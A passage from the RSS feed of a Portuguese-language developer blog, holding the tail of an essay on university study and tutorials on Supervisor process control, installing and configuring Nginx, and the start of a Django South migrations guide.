graduação, e são hoje mais do que certificados, são empreendedores de
sucesso e referências em suas áreas de atuação.&lt;/p&gt;
&lt;p&gt;O ambiente acadêmico é &lt;strong&gt;sim&lt;/strong&gt; muito rico e relevante, e como
profissional formado estou certo que ele foi um dos responsáveis por me
fazer chegar até aqui. Foi através da graduação que aprendi valores como
“determinação” e “autodidatismo”, e aprendi a valorizar o &lt;em&gt;networking&lt;/em&gt; e
a troca de conhecimento. É certo que não desenvolveria estas qualidades
fora deste ambiente, e num exercício de analisar o passado, sou capaz de
concluir que as experiências (ou a trajetória) foram muito mais
significativas do que o ato de receber o diploma em si.&lt;/p&gt;
&lt;p&gt;Acredito que o problema de hoje é que o “canudo”, aquele &lt;strong&gt;“pedaço de
papel”&lt;/strong&gt; que garante que você está apto para o mercado de trabalho,
virou nosso principal objetivo quando ingressamos em uma graduação.
Deixamos que todo o caminho a ser trilhado e conhecimento a ser
adquirido, seja encarado como um sacrifício, e não como uma oportunidade
de crescimento.&lt;/p&gt;
&lt;p&gt;Culpa das instituições de ensino, ou dos alunos? Não tenho a resposta
para este questionamento. Mas, no fim das contas, a mensagem que quero
passar para você é a seguinte: &lt;strong&gt;Aproveite ao máximo o ambiente
acadêmico&lt;/strong&gt;. Dificilmente em outras épocas da sua vida você terá tanto
tempo e disposição para adquirir conhecimento. “Esprema” o máximo que
puder dos seus professores e colegas, participe de projetos científicos,
de atividades extracurriculares, empenhe-se em trabalhos e provas.
Afinal, como diria o &lt;em&gt;Scorpions&lt;/em&gt;, “no pain, no gain”.&lt;/p&gt;
&lt;p&gt;E acima de tudo, faça o que você ama, e use a graduação para descobrir
se é isto mesmo que você quer fazer na sua vida.&lt;/p&gt;
&lt;p&gt;Esse artigo foi originalmente escrito para o jornal &lt;a href=&quot;http://www.folhasc.com/&quot; title=&quot;O jornal de vanguarda&quot;&gt;&lt;em&gt;FolhaSC&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Supervisor: Aumentando a disponibilidade das suas aplicações Web]]></title><description><![CDATA[E se você pudesse controlar uma série de processos
através de um comando? Ou de garantir que serviços “down” sejam
reiniciados…]]></description><link>https://klauslaube.com.br/2012/01/23/supervisor-gerencie-os-processos-seu-servidor-web.html</link><guid isPermaLink="false">https://klauslaube.com.br/2012/01/23/supervisor-gerencie-os-processos-seu-servidor-web.html</guid><pubDate>Mon, 23 Jan 2012 21:28:00 GMT</pubDate><content:encoded>&lt;p&gt;E se você pudesse controlar uma série de processos
através de um comando? Ou de garantir que serviços “down” sejam
reiniciados automaticamente? Ou ainda, agrupar seus serviços e poder
reiniciá-los com um simples comando de terminal?&lt;/p&gt;
&lt;p&gt;O &lt;strong&gt;&lt;em&gt;Supervisor&lt;/em&gt;&lt;/strong&gt; aparece para facilitar muito a vida de quem precisa
administrar servidores &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;, e não tem muito tempo a perder com
criação de rotinas, ou mesmo com trabalho manual.&lt;/p&gt;
&lt;h2&gt;Afinal, o que é o Supervisor?&lt;/h2&gt;
&lt;p&gt;A proposta do &lt;a href=&quot;http://supervisord.org/&quot; title=&quot;Conheça o projeto Supervisor&quot;&gt;&lt;em&gt;Supervisor&lt;/em&gt;&lt;/a&gt; é simples: permitir que usuários possam
controlar e monitorar processos (e grupos de processos) em um sistema
&lt;em&gt;Unix-like&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Em suma, o &lt;em&gt;Supervisor&lt;/em&gt; é um programa escrito em &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;, capaz de
iniciar, reiniciar e parar outros programas. Mas, o que me chamou mais a
atenção, é que ele é capaz de reiniciar programas “crashados”
automaticamente.&lt;/p&gt;
&lt;p&gt;Isso é possível pois, por baixo dos panos, o &lt;em&gt;Supervisor&lt;/em&gt; é um serviço
que inicia todos os demais como subprocessos. Desse modo, é capaz de
monitorar o estado dos mesmos, e numa eventual “queda”, reiniciar um
determinado processo/serviço imediatamente.&lt;/p&gt;
&lt;p&gt;Ou seja, funciona como uma ferramenta centralizadora e de monitoramento.
E que ainda serve uma &lt;em&gt;API&lt;/em&gt; para gerenciamento remoto, &lt;a href=&quot;http://supervisord.org/api.html&quot; title=&quot;Leia mais sobre a API do Supervisor&quot;&gt;através de &lt;em&gt;XML-RPC&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Instalar para administrar&lt;/h2&gt;
&lt;p&gt;Para instalar, basta utilizar o &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install supervisor&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vamos gerar um arquivo de configuração básico:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ echo_supervisord_conf &gt; /etc/supervisord.conf&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vamos aproveitar que &lt;a href=&quot;/2011/12/19/nginx-poderoso-rapido-facil.html&quot; title=&quot;Nginx: Poderoso, rápido e fácil&quot;&gt;falamos recentemente sobre a instalação do &lt;em&gt;Nginx&lt;/em&gt;&lt;/a&gt;,
para demonstrar o princípio do &lt;em&gt;Supervisor&lt;/em&gt;. Adicione as
seguintes linhas ao arquivo &lt;code class=&quot;language-text&quot;&gt;/etc/supervisord.conf&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;config&quot;&gt;&lt;pre class=&quot;language-config&quot;&gt;&lt;code class=&quot;language-config&quot;&gt;[program:nginx]
command=/usr/local/nginx/sbin/nginx&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Agora iniciamos o serviço do &lt;em&gt;Supervisor&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ supervisord&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E através do &lt;code class=&quot;language-text&quot;&gt;supervisorctl&lt;/code&gt;, vamos iniciar e parar o &lt;em&gt;Nginx&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ supervisorctl start all
nginx: started

$ ps aux | grep nginx
root      1863  0.0  0.1 (...) /usr/local/nginx/sbin/nginx

$ supervisorctl stop nginx
nginx: stopped&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E agora, o “pulo do gato”. Com o &lt;em&gt;Nginx&lt;/em&gt; iniciado via &lt;em&gt;Supervisor&lt;/em&gt;,
vamos fechá-lo através de um comando &lt;code class=&quot;language-text&quot;&gt;kill&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ supervisorctl start nginx
nginx: started

$ killall nginx

$ ps aux | grep nginx
root      1917  0.0  0.1 (...) /usr/local/nginx/sbin/nginx&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Magia? Que nada! É a ferramenta garantindo que os nossos processos não
fiquem “down”. &lt;a href=&quot;http://brandonkonkle.com/blog/2010/sep/14/django-uwsgi-and-nginx/&quot; title=&quot;Django on uWSGI and Nginx&quot;&gt;&lt;em&gt;Brandon Konkle&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;http://senko.net/en/django-nginx-gunicorn/&quot; title=&quot;A Django setup using Nginx and Gunicorn&quot;&gt;&lt;em&gt;Senko Rasic&lt;/em&gt;&lt;/a&gt; possuem exemplos
utilizando um cenário real com &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;/tag/nginx.html&quot; title=&quot;Leia mais sobre Nginx&quot;&gt;&lt;em&gt;Nginx&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Embora o &lt;em&gt;Supervisor&lt;/em&gt; seja uma ferramenta espetacular, acredito que
muitos profissionais já possuam intimidade com os seus servidores, bem
como já tenham construído &lt;em&gt;sets&lt;/em&gt; de &lt;em&gt;scripts&lt;/em&gt;, e atalhos em geral. Isso,
de fato, faz a gente questionar a utilidade dela.&lt;/p&gt;
&lt;p&gt;A possibilidade de monitorar e garantir a disponibilidade dos processos
foi o que mais me agradou. Se você tem “poderes administrativos” na sua
hospedagem, talvez o &lt;em&gt;Supervisor&lt;/em&gt; seja a ferramenta que faltava para
você possa dormir mais tranquilo.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://supervisord.org/&quot; title=&quot;Supervisor - A process control system&quot;&gt;&lt;em&gt;Supervisor&lt;/em&gt; – Documentação oficial&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://brandonkonkle.com/blog/2010/sep/14/django-uwsgi-and-nginx/&quot; title=&quot;Saiba como montar um servidor Nginx com Django, uWSGI e Supervisor&quot;&gt;&lt;em&gt;Brandon Konkle – Django on uWSGI and Nginx&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.plope.com/static/misc/supervisor-pycon2008.pdf&quot; title=&quot;Apresentação para a PyCon 2008, sobre Supervisor&quot;&gt;&lt;em&gt;Mike Naberezny – Supervisor as a Platform&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://senko.net/en/django-nginx-gunicorn/&quot; title=&quot;Um ótimo exemplo de uso do Nginx, Django e Supervisor&quot;&gt;&lt;em&gt;Senko’s Blog – A Django setup using Nginx and Gunicorn&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Nginx: Poderoso, rápido e fácil]]></title><description><![CDATA[Para quem (assim como eu) começou com o PHP, uma das opções mais viáveis
para servir projetos na web sempre foi o Apache. Open source,…]]></description><link>https://klauslaube.com.br/2011/12/19/nginx-poderoso-rapido-facil.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/12/19/nginx-poderoso-rapido-facil.html</guid><pubDate>Mon, 19 Dec 2011 20:41:00 GMT</pubDate><content:encoded>&lt;p&gt;Para quem (assim como eu) começou com o &lt;a href=&quot;/tag/php.html&quot; title=&quot;Leia mais sobre PHP&quot;&gt;&lt;em&gt;PHP&lt;/em&gt;&lt;/a&gt;, uma das opções mais viáveis
para servir projetos na &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt; sempre foi o &lt;a href=&quot;http://httpd.apache.org/&quot; title=&quot;Página oficial do projeto Apache&quot;&gt;&lt;em&gt;Apache&lt;/em&gt;&lt;/a&gt;. &lt;em&gt;Open source&lt;/em&gt;,
prático e disponível em quase toda hospedagem de respeito (afinal, ele vem por
padrão em quase toda distro &lt;a href=&quot;/tag/linux.html&quot; title=&quot;Leia mais sobre Linux&quot;&gt;&lt;em&gt;Linux&lt;/em&gt;&lt;/a&gt;), há anos que ele faz a famosa
tríade &quot;AMP&quot; (&lt;em&gt;Apache&lt;/em&gt;, &lt;a href=&quot;http://www.mysql.com/&quot; title=&quot;Conheça o banco de dados open source mais popular do mundo&quot;&gt;&lt;em&gt;MySQL&lt;/em&gt;&lt;/a&gt; e &lt;em&gt;PHP&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Acontece que com as demandas recentes que a &lt;em&gt;internet&lt;/em&gt; tem exigido de
algumas aplicações &lt;em&gt;web&lt;/em&gt; (como &lt;em&gt;Twitter&lt;/em&gt; e &lt;em&gt;Facebook&lt;/em&gt;), a necessidade
por performance começou a ser uma grande premissa em determinados tipos
de projetos. E é apoiado nesse cenário que o &lt;em&gt;Nginx&lt;/em&gt; vem ganhando
cada vez mais força no mercado. Afinal, não é a toa que ele é conhecido
por “aguentar porrada”.&lt;/p&gt;
&lt;h2&gt;A verdade sobre o Nginx (ou não)&lt;/h2&gt;
&lt;p&gt;O &lt;a href=&quot;http://nginx.org/&quot; title=&quot;Conheça o Nginx!&quot;&gt;&lt;em&gt;Nginx&lt;/em&gt;&lt;/a&gt; é um &lt;a href=&quot;http://pt.wikipedia.org/wiki/Servidor_web&quot; title=&quot;Entenda o que é um servidor Web&quot;&gt;&lt;strong&gt;servidor Web&lt;/strong&gt;&lt;/a&gt;, &lt;a href=&quot;http://pt.wikipedia.org/wiki/Proxy_reverso&quot; title=&quot;Entenda o que é um Proxy Reverso&quot;&gt;&lt;strong&gt;proxy reverso&lt;/strong&gt;&lt;/a&gt;,
&lt;strong&gt;proxy balanceador de carga&lt;/strong&gt;, e faz praticamente tudo que o &lt;em&gt;Apache&lt;/em&gt;
faz, só que muito mais rápido!&lt;/p&gt;
&lt;p&gt;Técnicamente, o &lt;em&gt;Nginx&lt;/em&gt; consome menos memória que o &lt;em&gt;Apache&lt;/em&gt;, pois lida
com requisições &lt;em&gt;web&lt;/em&gt; através do conceito de “event-based web server“,
já o &lt;em&gt;Apache&lt;/em&gt; é baseado no conceito “process-based server“. &lt;em&gt;David E.
Chen&lt;/em&gt; faz uma excelente analogia entre os dois conceitos em seu artigo
“&lt;a href=&quot;http://daverecycles.com/post/3104767110/explain-event-driven-web-servers-to-your-grandma&quot; title=&quot;Leia esta boa analogia entre os conceitos&quot;&gt;Explain “Event-Driven” Web Servers to Your Grandma&lt;/a&gt;“.&lt;/p&gt;
&lt;p&gt;Eles não são necessariamente “concorrentes”, &lt;em&gt;Apache&lt;/em&gt; e &lt;em&gt;Nginx&lt;/em&gt; podem
trabalhar juntos! &lt;em&gt;Paulo Higa&lt;/em&gt;, através do seu artigo
&lt;a href=&quot;http://paulohiga.com/posts/nginx-proxy-reverso-php-apache.php&quot; title=&quot;Aprenda como fazer o Nginx tornar-se um proxy reverso&quot;&gt;“Usando Nginx como proxy reverso e diminuindo o consumo do servidor&lt;/a&gt;“, nos mostra
como ele diminuiu o consumo de memória do &lt;em&gt;Apache&lt;/em&gt; fazendo com que as
requisições &lt;em&gt;web&lt;/em&gt; passassem primeiro pelo &lt;em&gt;Nginx&lt;/em&gt;. Desse modo, o
&lt;em&gt;Apache&lt;/em&gt; não precisou servir arquivos estáticos, e pode depender do bom
controle de &lt;em&gt;cache&lt;/em&gt; feito pelo &lt;em&gt;Nginx&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Bom, a intenção não é denegrir a imagem do &lt;em&gt;Apache&lt;/em&gt; (até parece que um
simples mortal como eu conseguiria tal feito), então vamos adiante.&lt;/p&gt;
&lt;h2&gt;Fácil?! Instalando e sendo bem recebido&lt;/h2&gt;
&lt;p&gt;Estou utilizando o &lt;a href=&quot;http://www.slackware.com/&quot; title=&quot;Conheça e delicie-se com o Slackware Linux&quot;&gt;&lt;em&gt;Slackware 13.37&lt;/em&gt;&lt;/a&gt; para realizar os procedimentos
abaixo, mas acredito que eles possam ser executados em qualquer
distribuição &lt;em&gt;Linux&lt;/em&gt;, sem maiores problemas.&lt;/p&gt;
&lt;p&gt;Vamos começar fazendo o &lt;em&gt;download&lt;/em&gt; da versão mais recente (até então),
direto do site oficial do &lt;em&gt;Nginx&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ wget http://nginx.org/download/nginx-1.0.11.tar.gz&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O procedimento de instalação não difere em nada do método tradicional
que estamos acostumados no &lt;em&gt;Linux&lt;/em&gt;. Apenas lembre-se de executar o
&lt;code class=&quot;language-text&quot;&gt;make install&lt;/code&gt; como &lt;code class=&quot;language-text&quot;&gt;root&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ tar -zxvf nginx-1.0.11.tar.gz; cd nginx-1.0.11
$ ./configure
$ make
$ make install&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O &lt;em&gt;Nginx&lt;/em&gt; será instalado em &lt;code class=&quot;language-text&quot;&gt;/usr/local/nginx/&lt;/code&gt;. Você pode iniciar o
serviço através do comando (como &lt;code class=&quot;language-text&quot;&gt;root&lt;/code&gt;):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ /usr/local/nginx/sbin/nginx&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Acessando o seu &lt;code class=&quot;language-text&quot;&gt;localhost&lt;/code&gt;, o serviço estará pronto e dando boas
vindas!&lt;/p&gt;
&lt;h2&gt;Configurando um servidor simples&lt;/h2&gt;
&lt;p&gt;Para homenagear o nosso amigo &lt;em&gt;Apache&lt;/em&gt;, vamos fazer o &lt;em&gt;Nginx&lt;/em&gt; servir um
&lt;a href=&quot;/tag/html5.html&quot; title=&quot;Leia mais sobre HTML5&quot;&gt;&lt;em&gt;HTML&lt;/em&gt;&lt;/a&gt; com a clássica mensagem “It works“, em outra porta e &lt;em&gt;path&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Abra (como &lt;code class=&quot;language-text&quot;&gt;root&lt;/code&gt;) o arquivo &lt;code class=&quot;language-text&quot;&gt;/usr/local/nginx/conf/nginx.conf&lt;/code&gt;, no
final do arquivo, adicione a seguinte expressão antes do fechamento das
chaves:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;config&quot;&gt;&lt;pre class=&quot;language-config&quot;&gt;&lt;code class=&quot;language-config&quot;&gt;include example;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Esta expressão importará o arquivo &lt;code class=&quot;language-text&quot;&gt;/usr/local/nginx/conf/example&lt;/code&gt;,
que criaremos a seguir:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;config&quot;&gt;&lt;pre class=&quot;language-config&quot;&gt;&lt;code class=&quot;language-config&quot;&gt;server {
    listen        127.0.0.1:8080;
    server_name   example;
    access_log    /usr/local/nginx/logs/example.access.log;
    error_log     /usr/local/nginx/logs/example.error.log;
    location / {
        root  /var/www/example;
        index index.html index.htm;
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Intuitivo não?! Vamos criar o &lt;em&gt;path&lt;/em&gt; onde armazenaremos o &lt;em&gt;HTML&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;mkdir /var/www/example
echo &quot;It works! &quot; &gt; /var/www/example/index.html&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Basta acessar o endereço &lt;code class=&quot;language-text&quot;&gt;localhost:8080&lt;/code&gt;, e pronto!&lt;/p&gt;
&lt;p&gt;Como é possível perceber, os arquivos de configuração do &lt;em&gt;Nginx&lt;/em&gt; são
simples e intuitivos. Existem várias referências na &lt;em&gt;web&lt;/em&gt; ensinando a
montar &lt;em&gt;proxy&lt;/em&gt; reverso, servir páginas dinâmicas com &lt;em&gt;FastCGI&lt;/em&gt; ou
&lt;em&gt;WSGI&lt;/em&gt;, utilizar &lt;em&gt;SSL&lt;/em&gt;, etc. Nada que o bom amigo &lt;em&gt;Google&lt;/em&gt; não possa
resolver.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Quer dizer que agora eu tenho que largar tudo e correr para utilizar o
&lt;em&gt;Nginx&lt;/em&gt;? A resposta é &lt;strong&gt;não&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Gosto dos ensinamentos do pessoal da &lt;a href=&quot;http://37signals.com/&quot; title=&quot;Você não sabe o que é a 37Signals?&quot;&gt;&lt;em&gt;37Signals&lt;/em&gt;&lt;/a&gt;, e um deles é para
deixarmos a preocupação com performance para quando isto for realmente
um problema (caso contrário, ninguém começaria projetos em &lt;em&gt;Ruby&lt;/em&gt; ou
&lt;em&gt;Python&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Portanto, se você tem um &lt;em&gt;blog&lt;/em&gt; em &lt;em&gt;WordPress&lt;/em&gt; servido através de um
&lt;em&gt;Apache&lt;/em&gt;... deixe estar. Garanto que o &lt;em&gt;Apache&lt;/em&gt; é a melhor solução para
você neste momento. E caso você venha a ter problemas com performance,
garanto que instalar e configurar um &lt;em&gt;Nginx&lt;/em&gt; dentro da sua
infraestrutura será o menor dos seus problemas.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://nginx.org/&quot; title=&quot;Conheça, instale e use agora o Nginx!&quot;&gt;Site oficial do projeto &lt;em&gt;Nginx&lt;/em&gt; (em Inglês)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://daverecycles.com/post/3104767110/explain-event-driven-web-servers-to-your-grandma&quot; title=&quot;Entenda a diferença entre o webserver baseado em eventos, e outro baseado em processos&quot;&gt;&lt;em&gt;Daverecycles.com – Explain “Event-Driven” Web Servers to Your Grandma&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.linuxjournal.com/article/10108&quot; title=&quot;Excelente artigo sobre o Nginx&quot;&gt;&lt;em&gt;Linux Journal – Nginx: the High-Performance Web Server and Reverse Proxy&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://paulohiga.com/posts/nginx-proxy-reverso-php-apache.php&quot; title=&quot;Artigo de Paulo Higa sobre Nginx e proxy reverso, com Apache&quot;&gt;&lt;em&gt;Paulo Higa&lt;/em&gt; – Usando o &lt;em&gt;nginx&lt;/em&gt; como &lt;em&gt;proxy&lt;/em&gt; reverso e diminuindo o consumo do servidor&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://pt.wikipedia.org/wiki/Proxy_reverso&quot; title=&quot;Leia mais na Wikipedia&quot;&gt;&lt;em&gt;Wikipedia&lt;/em&gt; – &lt;em&gt;Proxy&lt;/em&gt; reverso&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://pt.wikipedia.org/wiki/Servidor_web&quot; title=&quot;Leia mais na Wikipedia&quot;&gt;&lt;em&gt;Wikipedia&lt;/em&gt; – Servidor &lt;em&gt;Web&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.wikivs.com/wiki/Apache_vs_nginx&quot; title=&quot;Entenda um pouco mais a diferença entre Apache e Nginx&quot;&gt;&lt;em&gt;WikiVS – Apache vs Nginx&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Migrations em Django com South]]></title><description><![CDATA[E quem nunca precisou adicionar ou remover alguma
coluna, nas tabelas do seu banco de dados, depois que a aplicação já
estava em produção…]]></description><link>https://klauslaube.com.br/2011/11/20/migrations-em-django-south.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/11/20/migrations-em-django-south.html</guid><pubDate>Sun, 20 Nov 2011 21:35:00 GMT</pubDate><content:encoded>&lt;p&gt;E quem nunca precisou adicionar ou remover alguma
coluna, nas tabelas do seu banco de dados, depois que a aplicação já
estava em produção? Os riscos existem (e são altos), e podem ser
diminuidos através de processos automatizados.&lt;/p&gt;
&lt;p&gt;Em um mundo ideal, o procedimento de &lt;em&gt;deploy&lt;/em&gt; (para entregas contínuas)
&lt;strong&gt;deve ser automatizado&lt;/strong&gt;. Com o &lt;em&gt;South&lt;/em&gt;, “migrar” a estrutura e os
dados da sua base de dados para a versão presente em seu novo deploy, é
simples, prático e 100% integrado ao &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Instalando o South&lt;/h2&gt;
&lt;p&gt;O &lt;a href=&quot;http://south.aeracode.org/&quot; title=&quot;Página oficial do projeto South&quot;&gt;&lt;em&gt;South&lt;/em&gt;&lt;/a&gt; é muito, mas muito simples de instalar. Utilizando o
&lt;em&gt;pip&lt;/em&gt;, basta o seguinte comando para termos os &lt;em&gt;eggs&lt;/em&gt; em nosso
&lt;code class=&quot;language-text&quot;&gt;PYTHONPATH&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install south&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Não podemos esquecer de adicioná-lo ao &lt;code class=&quot;language-text&quot;&gt;INSTALLED_APPS&lt;/code&gt; do
&lt;code class=&quot;language-text&quot;&gt;settings.py&lt;/code&gt; (afinal, trata-se de uma &lt;em&gt;app Django&lt;/em&gt;):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;INSTALLED_APPS &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;django.contrib.auth&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;south&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pronto! Você acabou de ganhar alguns comandos para construir as suas
&lt;em&gt;migrations&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Direto para a prática&lt;/h2&gt;
&lt;p&gt;Sem perder tempo, vamos construir uma &lt;em&gt;app Django&lt;/em&gt; para que possamos
demonstrar o uso do &lt;em&gt;South&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ python manage.py startapp blog&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Lembrando de adicioná-la ao &lt;code class=&quot;language-text&quot;&gt;settings.py&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# settings.py&lt;/span&gt;
INSTALLED_APPS &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;django.contrib.auth&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;south&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;blog&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vamos criar um modelo bem básico, com alguns campos (posteriormente,
incrementaremos esta estrutura):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# blog/models.py&lt;/span&gt;
